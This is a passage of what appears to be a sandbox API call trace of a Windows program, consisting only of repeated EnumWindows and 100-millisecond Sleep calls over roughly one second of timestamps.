(dwMilliseconds=0x64) [0151.745] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.745] Sleep (dwMilliseconds=0x64) [0151.747] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.747] Sleep (dwMilliseconds=0x64) [0151.748] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.748] Sleep (dwMilliseconds=0x64) [0151.750] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.750] Sleep (dwMilliseconds=0x64) [0151.751] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.751] Sleep (dwMilliseconds=0x64) [0151.753] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.753] Sleep (dwMilliseconds=0x64) [0151.754] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.754] Sleep (dwMilliseconds=0x64) [0151.756] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.756] Sleep (dwMilliseconds=0x64) [0151.757] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.757] Sleep (dwMilliseconds=0x64) [0151.759] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.759] Sleep (dwMilliseconds=0x64) [0151.760] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.760] Sleep (dwMilliseconds=0x64) [0151.762] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.762] Sleep (dwMilliseconds=0x64) [0151.763] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.763] Sleep (dwMilliseconds=0x64) [0151.765] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.765] Sleep (dwMilliseconds=0x64) [0151.766] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.766] Sleep (dwMilliseconds=0x64) [0151.769] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.769] Sleep (dwMilliseconds=0x64) [0151.771] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.771] Sleep (dwMilliseconds=0x64) [0151.772] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.772] Sleep (dwMilliseconds=0x64) [0151.774] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.774] Sleep (dwMilliseconds=0x64) [0151.775] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.776] Sleep (dwMilliseconds=0x64) [0151.777] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.778] Sleep (dwMilliseconds=0x64) [0151.779] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.780] Sleep (dwMilliseconds=0x64) [0151.781] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.781] Sleep (dwMilliseconds=0x64) [0151.783] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.783] Sleep (dwMilliseconds=0x64) [0151.785] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.785] Sleep (dwMilliseconds=0x64) [0151.787] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.787] Sleep (dwMilliseconds=0x64) [0151.788] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.788] Sleep (dwMilliseconds=0x64) [0151.790] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.790] Sleep (dwMilliseconds=0x64) [0151.791] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.791] Sleep (dwMilliseconds=0x64) [0151.793] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.793] Sleep (dwMilliseconds=0x64) [0151.795] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.795] Sleep (dwMilliseconds=0x64) [0151.796] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.796] Sleep (dwMilliseconds=0x64) [0151.798] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.798] Sleep (dwMilliseconds=0x64) [0151.799] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.800] Sleep (dwMilliseconds=0x64) [0151.802] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.802] Sleep (dwMilliseconds=0x64) [0151.804] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.804] Sleep (dwMilliseconds=0x64) [0151.805] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.806] Sleep (dwMilliseconds=0x64) [0151.807] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.807] Sleep (dwMilliseconds=0x64) [0151.808] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.809] Sleep (dwMilliseconds=0x64) [0151.810] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.810] Sleep (dwMilliseconds=0x64) [0151.812] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.812] Sleep (dwMilliseconds=0x64) [0151.813] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.814] Sleep (dwMilliseconds=0x64) [0151.815] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.816] Sleep (dwMilliseconds=0x64) [0151.817] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.817] Sleep (dwMilliseconds=0x64) [0151.819] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.819] Sleep (dwMilliseconds=0x64) [0151.820] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.820] Sleep (dwMilliseconds=0x64) [0151.822] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.822] Sleep (dwMilliseconds=0x64) [0151.825] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.825] Sleep (dwMilliseconds=0x64) [0151.827] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.827] Sleep (dwMilliseconds=0x64) [0151.828] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.828] Sleep (dwMilliseconds=0x64) [0151.830] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.830] Sleep (dwMilliseconds=0x64) [0151.832] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.832] Sleep (dwMilliseconds=0x64) [0151.834] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.834] Sleep (dwMilliseconds=0x64) [0151.836] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.836] Sleep (dwMilliseconds=0x64) [0151.838] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.838] Sleep (dwMilliseconds=0x64) [0151.840] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.840] Sleep (dwMilliseconds=0x64) [0151.842] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.842] Sleep (dwMilliseconds=0x64) [0151.844] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.844] Sleep (dwMilliseconds=0x64) [0151.846] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.846] Sleep (dwMilliseconds=0x64) [0151.848] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.848] Sleep (dwMilliseconds=0x64) [0151.850] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.850] Sleep (dwMilliseconds=0x64) [0151.855] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.855] Sleep (dwMilliseconds=0x64) [0151.857] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.857] Sleep (dwMilliseconds=0x64) [0151.859] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.859] Sleep (dwMilliseconds=0x64) [0151.860] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.861] Sleep (dwMilliseconds=0x64) [0151.862] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.862] Sleep (dwMilliseconds=0x64) [0151.863] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.864] Sleep (dwMilliseconds=0x64) [0151.865] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.865] Sleep (dwMilliseconds=0x64) [0151.867] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.867] Sleep (dwMilliseconds=0x64) [0151.868] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.868] Sleep (dwMilliseconds=0x64) [0151.872] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.873] Sleep (dwMilliseconds=0x64) [0151.874] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.874] Sleep (dwMilliseconds=0x64) [0151.876] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.876] Sleep (dwMilliseconds=0x64) [0151.878] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.878] Sleep (dwMilliseconds=0x64) [0151.879] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.879] Sleep (dwMilliseconds=0x64) [0151.880] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.881] Sleep (dwMilliseconds=0x64) [0151.882] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.882] Sleep (dwMilliseconds=0x64) [0151.883] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.884] Sleep (dwMilliseconds=0x64) [0151.885] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.885] Sleep (dwMilliseconds=0x64) [0151.896] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.896] Sleep (dwMilliseconds=0x64) [0151.897] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.898] Sleep (dwMilliseconds=0x64) [0151.899] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.899] Sleep (dwMilliseconds=0x64) [0151.900] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.901] Sleep (dwMilliseconds=0x64) [0151.902] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.902] Sleep (dwMilliseconds=0x64) [0151.904] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.904] Sleep (dwMilliseconds=0x64) [0151.907] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.907] Sleep (dwMilliseconds=0x64) [0151.909] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.909] Sleep (dwMilliseconds=0x64) [0151.911] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.911] Sleep (dwMilliseconds=0x64) [0151.912] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.913] Sleep (dwMilliseconds=0x64) [0151.914] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.914] Sleep (dwMilliseconds=0x64) [0151.916] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.916] Sleep (dwMilliseconds=0x64) [0151.917] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.917] Sleep (dwMilliseconds=0x64) [0151.918] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.919] Sleep (dwMilliseconds=0x64) [0151.920] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.920] Sleep (dwMilliseconds=0x64) [0151.921] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.922] Sleep (dwMilliseconds=0x64) [0151.923] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.923] Sleep (dwMilliseconds=0x64) [0151.925] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.925] Sleep (dwMilliseconds=0x64) [0151.927] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.927] Sleep (dwMilliseconds=0x64) [0151.928] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.928] Sleep (dwMilliseconds=0x64) [0151.930] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.930] Sleep (dwMilliseconds=0x64) [0151.931] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.932] Sleep (dwMilliseconds=0x64) [0151.933] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.933] Sleep (dwMilliseconds=0x64) [0151.935] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.935] Sleep (dwMilliseconds=0x64) [0151.937] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.937] Sleep (dwMilliseconds=0x64) [0151.938] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.939] Sleep (dwMilliseconds=0x64) [0151.940] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.940] Sleep (dwMilliseconds=0x64) [0151.941] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.942] Sleep (dwMilliseconds=0x64) [0151.945] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.945] Sleep (dwMilliseconds=0x64) [0151.947] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.947] Sleep (dwMilliseconds=0x64) [0151.948] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.948] Sleep (dwMilliseconds=0x64) [0151.949] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.950] Sleep (dwMilliseconds=0x64) [0151.952] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.953] Sleep (dwMilliseconds=0x64) [0151.954] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.954] Sleep (dwMilliseconds=0x64) [0151.977] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.978] Sleep (dwMilliseconds=0x64) [0151.980] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.980] Sleep (dwMilliseconds=0x64) [0151.983] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.983] Sleep (dwMilliseconds=0x64) [0151.984] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.985] Sleep (dwMilliseconds=0x64) [0151.987] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.987] Sleep (dwMilliseconds=0x64) [0151.989] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.989] Sleep (dwMilliseconds=0x64) [0151.991] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.991] Sleep (dwMilliseconds=0x64) [0151.993] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0151.993] Sleep (dwMilliseconds=0x64) [0152.001] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.001] Sleep (dwMilliseconds=0x64) [0152.004] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.004] Sleep (dwMilliseconds=0x64) [0152.005] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.006] Sleep (dwMilliseconds=0x64) [0152.008] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.008] Sleep (dwMilliseconds=0x64) [0152.009] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.010] Sleep (dwMilliseconds=0x64) [0152.011] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.011] Sleep (dwMilliseconds=0x64) [0152.013] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.013] Sleep (dwMilliseconds=0x64) [0152.015] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.016] Sleep (dwMilliseconds=0x64) [0152.017] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.018] Sleep (dwMilliseconds=0x64) [0152.019] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.019] Sleep (dwMilliseconds=0x64) [0152.024] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.024] Sleep (dwMilliseconds=0x64) [0152.025] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.025] Sleep (dwMilliseconds=0x64) [0152.027] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.027] Sleep (dwMilliseconds=0x64) [0152.029] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.029] Sleep (dwMilliseconds=0x64) [0152.031] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.031] Sleep (dwMilliseconds=0x64) [0152.033] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.033] Sleep (dwMilliseconds=0x64) [0152.035] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.035] Sleep (dwMilliseconds=0x64) [0152.036] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.036] Sleep (dwMilliseconds=0x64) [0152.038] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.038] Sleep (dwMilliseconds=0x64) [0152.039] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.039] Sleep (dwMilliseconds=0x64) [0152.041] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.041] Sleep (dwMilliseconds=0x64) [0152.042] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.042] Sleep (dwMilliseconds=0x64) [0152.044] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.044] Sleep (dwMilliseconds=0x64) [0152.046] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.046] Sleep (dwMilliseconds=0x64) [0152.048] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.048] Sleep (dwMilliseconds=0x64) [0152.049] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.050] Sleep (dwMilliseconds=0x64) [0152.052] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.052] Sleep (dwMilliseconds=0x64) [0152.055] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.198] Sleep (dwMilliseconds=0x64) [0152.199] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.200] Sleep (dwMilliseconds=0x64) [0152.202] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.202] Sleep (dwMilliseconds=0x64) [0152.203] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.203] Sleep (dwMilliseconds=0x64) [0152.208] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.208] Sleep (dwMilliseconds=0x64) [0152.210] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.211] Sleep (dwMilliseconds=0x64) [0152.212] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.212] Sleep (dwMilliseconds=0x64) [0152.214] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.215] Sleep (dwMilliseconds=0x64) [0152.221] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.221] Sleep (dwMilliseconds=0x64) [0152.223] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.223] Sleep (dwMilliseconds=0x64) [0152.297] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.298] Sleep (dwMilliseconds=0x64) [0152.303] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.304] Sleep (dwMilliseconds=0x64) [0152.306] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.306] Sleep (dwMilliseconds=0x64) [0152.308] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.308] Sleep (dwMilliseconds=0x64) [0152.309] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.310] Sleep (dwMilliseconds=0x64) [0152.314] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.314] Sleep (dwMilliseconds=0x64) [0152.316] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.316] Sleep (dwMilliseconds=0x64) [0152.318] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.318] Sleep (dwMilliseconds=0x64) [0152.320] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.320] Sleep (dwMilliseconds=0x64) [0152.322] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.322] Sleep (dwMilliseconds=0x64) [0152.323] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.323] Sleep (dwMilliseconds=0x64) [0152.325] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.325] Sleep (dwMilliseconds=0x64) [0152.326] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.326] Sleep (dwMilliseconds=0x64) [0152.328] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.328] Sleep (dwMilliseconds=0x64) [0152.356] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.357] Sleep (dwMilliseconds=0x64) [0152.437] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.437] Sleep (dwMilliseconds=0x64) [0152.440] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.440] Sleep (dwMilliseconds=0x64) [0152.446] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.446] Sleep (dwMilliseconds=0x64) [0152.448] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.448] Sleep (dwMilliseconds=0x64) [0152.450] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.450] Sleep (dwMilliseconds=0x64) [0152.452] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.452] Sleep (dwMilliseconds=0x64) [0152.454] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.455] Sleep (dwMilliseconds=0x64) [0152.456] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.456] Sleep (dwMilliseconds=0x64) [0152.458] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.458] Sleep (dwMilliseconds=0x64) [0152.459] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.459] Sleep (dwMilliseconds=0x64) [0152.461] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.462] Sleep (dwMilliseconds=0x64) [0152.463] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.463] Sleep (dwMilliseconds=0x64) [0152.465] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.465] Sleep (dwMilliseconds=0x64) [0152.466] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.466] Sleep (dwMilliseconds=0x64) [0152.468] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.469] Sleep (dwMilliseconds=0x64) [0152.471] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.471] Sleep (dwMilliseconds=0x64) [0152.473] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.473] Sleep (dwMilliseconds=0x64) [0152.475] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.475] Sleep (dwMilliseconds=0x64) [0152.477] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.477] Sleep (dwMilliseconds=0x64) [0152.479] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.479] Sleep (dwMilliseconds=0x64) [0152.480] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.480] Sleep (dwMilliseconds=0x64) [0152.482] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.483] Sleep (dwMilliseconds=0x64) [0152.486] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.486] Sleep (dwMilliseconds=0x64) [0152.488] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.488] Sleep (dwMilliseconds=0x64) [0152.490] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.490] Sleep (dwMilliseconds=0x64) [0152.492] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.492] Sleep (dwMilliseconds=0x64) [0152.494] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.494] Sleep (dwMilliseconds=0x64) [0152.495] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.495] Sleep (dwMilliseconds=0x64) [0152.498] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.498] Sleep (dwMilliseconds=0x64) [0152.499] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.499] Sleep (dwMilliseconds=0x64) [0152.501] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.501] Sleep (dwMilliseconds=0x64) [0152.502] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.502] Sleep (dwMilliseconds=0x64) [0152.505] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.506] Sleep (dwMilliseconds=0x64) [0152.507] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.508] Sleep (dwMilliseconds=0x64) [0152.509] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.510] Sleep (dwMilliseconds=0x64) [0152.511] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.511] Sleep (dwMilliseconds=0x64) [0152.513] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.514] Sleep (dwMilliseconds=0x64) [0152.516] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.517] Sleep (dwMilliseconds=0x64) [0152.518] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.519] Sleep (dwMilliseconds=0x64) [0152.520] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.521] Sleep (dwMilliseconds=0x64) [0152.524] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.525] Sleep (dwMilliseconds=0x64) [0152.531] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.531] Sleep (dwMilliseconds=0x64) [0152.640] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.640] Sleep (dwMilliseconds=0x64) [0152.650] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.650] Sleep (dwMilliseconds=0x64) [0152.651] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.652] Sleep (dwMilliseconds=0x64) [0152.653] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.653] Sleep (dwMilliseconds=0x64) [0152.654] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.655] Sleep (dwMilliseconds=0x64) [0152.699] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.699] Sleep (dwMilliseconds=0x64) [0152.773] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.774] Sleep (dwMilliseconds=0x64) [0152.775] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.775] Sleep (dwMilliseconds=0x64) [0152.777] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.777] Sleep (dwMilliseconds=0x64) [0152.779] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.779] Sleep (dwMilliseconds=0x64) [0152.781] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.781] Sleep (dwMilliseconds=0x64) [0152.783] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.783] Sleep (dwMilliseconds=0x64) [0152.784] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.784] Sleep (dwMilliseconds=0x64) [0152.786] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.786] Sleep (dwMilliseconds=0x64) [0152.787] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.788] Sleep (dwMilliseconds=0x64) [0152.799] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.799] Sleep (dwMilliseconds=0x64) [0152.801] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.801] Sleep (dwMilliseconds=0x64) [0152.803] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.803] Sleep (dwMilliseconds=0x64) [0152.805] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.806] Sleep (dwMilliseconds=0x64) [0152.807] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.807] Sleep (dwMilliseconds=0x64) [0152.809] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.809] Sleep (dwMilliseconds=0x64) [0152.810] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.810] Sleep (dwMilliseconds=0x64) [0152.812] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.812] Sleep (dwMilliseconds=0x64) [0152.814] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.814] Sleep (dwMilliseconds=0x64) [0152.815] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.816] Sleep (dwMilliseconds=0x64) [0152.817] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.817] Sleep (dwMilliseconds=0x64) [0152.819] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) 